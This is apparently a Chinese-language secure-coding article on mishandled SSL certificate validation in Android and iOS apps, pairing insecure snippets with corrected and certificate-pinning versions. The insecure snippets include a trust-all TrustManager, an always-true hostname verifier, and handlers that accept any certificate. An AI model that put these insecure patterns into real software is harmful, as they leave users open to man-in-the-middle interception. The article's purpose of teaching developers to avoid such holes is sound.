可是在實務上，大多開發人員採用消極的方法，把錯誤警告略過讓連線繼續進行，使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android 這篇論文指出，在 Google Play 上 13500 個免費熱門應用程式當中，共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上，常見的 SSL 處理錯誤，以及其對應適當的處理方法。

Android 錯誤處理情況1 1 2 3 4 @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); }

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時，會觸發 onReceivedSslError 這個函數。根據官方文件指出，可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止，或是限制在開發階段才執行 handler.proceed()。像 Apache Coradova 和 Facebook Android SDK 皆有對這部分做控管。

Android 錯誤處理情況2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 TrustManager[] trustAllManager = new TrustManager[] { new X509TrustManager() { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { } @Override public X509Certificate[] getAcceptedIssuers() { return null; } } }; SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, trustAllManager, null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空，導致警告被略過。Google 建議不要自行實作 TrustManager，而是把憑證放到 KeyStore，再把 KeyStore 放到 TrustManagerFactory，最後從 TrustManagerFactory 產出相關的 TrustManager，開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例。2

下面節錄 Android 官方文件上的範例：

1 2 3 4 5 6 7 8 9 10 11 12 KeyStore keyStore = ...; String algorithm = TrustManagerFactory.getDefaultAlgorithm(); TrustManagerFactory tmf = TrustManagerFactory.getInstance(algorithm); tmf.init(keyStore); SSLContext context = SSLContext.getInstance("TLS"); context.init(null, tmf.getTrustManagers(), null); URL url = new URL("https://www.example.com/"); HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection(); urlConnection.setSSLSocketFactory(context.getSocketFactory()); InputStream in = urlConnection.getInputStream(); Android 錯誤處理情況3 1 2 3 URL url = new URL("https://www.example.com/"); HttpsURLConnection conn = (HttpsURLConnection) url.openConnection(); conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1 2 3 4 5 6 HostnameVerifier allHostVerifier = new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return true; } };

上述寫法略過了憑證中的 hostname 檢查，導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定，讓他使用預設的 DefaultHostnameVerifier，或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1 1 2 3 4 5 6 @implementation NSURLRequest (IgnoreSSL) + (BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host { return YES; } @end

此情況使用到 Framework 中的 Private API，雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內)，但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”，”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2 1 2 3 4 5 6 7 8 9 10 - (BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace { return [protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]; } - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge]; [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge]; }

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查，容許任意憑證通過。下面節錄 OWASP WIKI 上的範例：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 - (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge: (NSURLAuthenticationChallenge *)challenge { if ([[[challenge protectionSpace] authenticationMethod] isEqualToString: NSURLAuthenticationMethodServerTrust]) { do { SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust]; if(nil == serverTrust) break; /* failed */ OSStatus status = SecTrustEvaluate(serverTrust, NULL); if(!(errSecSuccess == status)) break; /* failed */ SecCertificateRef serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0); if(nil == serverCertificate) break; /* failed */ CFDataRef serverCertificateData = SecCertificateCopyData(serverCertificate); [(id)serverCertificateData autorelease]; if(nil == serverCertificateData) break; /* failed */ const UInt8* const data = CFDataGetBytePtr(serverCertificateData); const CFIndex size = CFDataGetLength(serverCertificateData); NSData* cert1 = [NSData dataWithBytes:data length:(NSUInteger)size]; NSString *file = [[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"]; NSData* cert2 = [NSData dataWithContentsOfFile:file]; if(nil == cert1 || nil == cert2) break; /* failed */ const BOOL equal = [cert1 isEqualToData:cert2]; if(!equal) break; /* failed */ // The only good exit point return [[challenge sender] useCredential: [NSURLCredential credentialForTrust: serverTrust] forAuthenticationChallenge: challenge]; } while(0); } // Bad dog return [[challenge sender] cancelAuthenticationChallenge: challenge]; }

處理方式與前面的 Android 情況2類同，做了 certificate pinning。

iOS 錯誤處理情況3 1 2 3 4 5 6 7 8 9 10 11 12 13 - (void) URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential *credential))completionHandler { NSURLProtectionSpace * protectionSpace = challenge.protectionSpace; if ([protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { SecTrustRef serverTrust = protectionSpace.serverTrust; completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust: serverTrust]); } else { completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil); } }

與前面 NSURLConnection 的情況類同，只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 - (void) URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential *credential))completionHandler { if ([[[challenge protectionSpace] authenticationMethod] isEqualToString:NSURLAuthenticationMethodServerTrust]) { SecTrustRef serverTrust = [[challenge protectionSpace] serverTrust]; if (serverTrust != NULL) { OSStatus status = SecTrustEvaluate(serverTrust, NULL); if(!(errSecSuccess == status)) { completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil); return; } NSData *localCertData = [NSData dataWithContentsOfFile:[[NSBundle mainBundle] pathForResource:@"random-org" ofType:@"der"]]; SecCertificateRef remoteServerCert = SecTrustGetCertificateAtIndex(serverTrust, 0); CFDataRef remoteCertData = SecCertificateCopyData(remoteServerCert); BOOL isMatch = [localCertData isEqualToData: (__bridge NSData *)remoteCertData]; CFRelease(remoteCertData); if (isMatch) { completionHandler(NSURLSessionAuthChallengeUseCredential, [NSURLCredential credentialForTrust:serverTrust]); } else { completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge, nil); } } } else { completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil); } } 對 WebView 的一些補充

在對 WebView 做處理上，除了對 SSL 錯誤直接略過外，目前無論是在 Android 還是 iOS 上，SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是，利用其他能夠作 Pinning 的元件將資料下載回來，接著把資料傳到 WebView 進行讀取，避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例。

結語

本來為了提高安全性而使用的 SSL 加密連線，卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候，卻沒有提醒他們這樣做帶來的影響，也助長了不當處理的發生。

除了 SSL 處理問題外，手機應用程式開發還有許多要注意的安全問題，像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook 裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

  1. Google 基於效能及有效性的考量，在 Android 系統上預設停用憑證撤銷檢查
     ↩

  2. OWASP 的 Android 範例中，內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) ↩

Managed ad